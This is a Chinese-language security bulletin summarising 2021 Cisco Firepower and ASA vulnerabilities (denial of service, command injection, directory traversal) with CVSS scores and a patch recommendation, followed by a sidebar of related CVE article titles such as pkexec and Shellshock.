CVE-2021-34781:思科 Firepower 威胁防御软件 SSH 连接拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34752、CVE-2021-34755和CVE-2021-34756:思科 Firepower 威胁防御软件命令注入漏洞(CVSS评分:7.8)

CVE-2021-34762:思科 Firepower 管理中心软件身份验证目录遍历漏洞(CVSS评分:8.1)

CVE-2021-40117:思科自适应安全设备软件和 Firepower 威胁防御软件 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-1573、CVE-2021-34704和CVE-2021-40118:思科自适应安全设备软件和 Firepower 威胁防御软件 Web 服务拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34792:思科自适应安全设备软件和 Firepower 威胁防御软件资源耗尽拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34793:思科自适应安全设备软件和 Firepower 威胁防御软件透明模式拒绝服务漏洞(CVSS评分:8.6)

其中,CVE-2021-34755 、CVE-2021-34756和CVE-2021-34752都是Cisco FTD  中的命令注入漏洞。由于对用户提供的命令参数验证不足,攻击者可以提交恶意输入来利用这些漏洞,前2个漏洞可以导致经过身份验证的本地攻击者以root权限在受影响设备的系统上执行任意命令,CVE-2021-34752可以导致经过身份验证且具有管理权限的本地攻击者以root权限在受影响设备的系统上执行任意命令。

CVE-2021-34762是由于思科 Firepower 管理中心 (FMC) 基于Web 的管理界面对HTTPS URL  的输入验证不足,经过身份验证的远程攻击者可以通过向受影响的设备发送包含目录遍历字符序列的恶意 HTTPS  请求来利用此漏洞,最终可以在设备上读取或写入任意文件。

处置建议

目前Cisco已经发布了相关补丁,建议受影响的用户及时升级更新。

具体受影响产品及其版本和修复版本信息详见Cisco官方安全公告:

https://tools.cisco.com/security/center/publicationListing.x


相关文章
|
8月前
|
安全 Ubuntu Linux
CVE-2021-4034 pkexec提权漏洞
Linux Polkit 的 pkexec程序中发现了一个本地权限提升漏洞。pkexec应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。
167 1
|
12月前
|
安全 Shell
CVE-2014-6271“破壳”
CVE-2014-6271广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中
|
安全 Oracle 关系型数据库
CVE-2020-2551
2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。
111 0
CVE-2020-2551
|
安全 Shell 数据库
CVE-1472
0x00 CVE-1472复现
CVE-1472
|
安全 Java 应用服务中间件
Ghostcat(CVE-2020-1938)
Ghostcat(CVE-2020-1938)
Ghostcat(CVE-2020-1938)
|
安全 Ubuntu Linux
polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
polkit的pkexec中的本地权限提升漏洞(CVE-2021-4034)
393 0
|
供应链 安全 IDE
Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)
Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)
Mercurius <11.5.0 存在拒绝服务漏洞(CVE-2023-22477)
|
SQL 安全 前端开发
常见漏洞总结
常见漏洞总结
|
编解码 安全 NoSQL
SSRE漏洞
服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRE漏洞
|
安全 网络协议 前端开发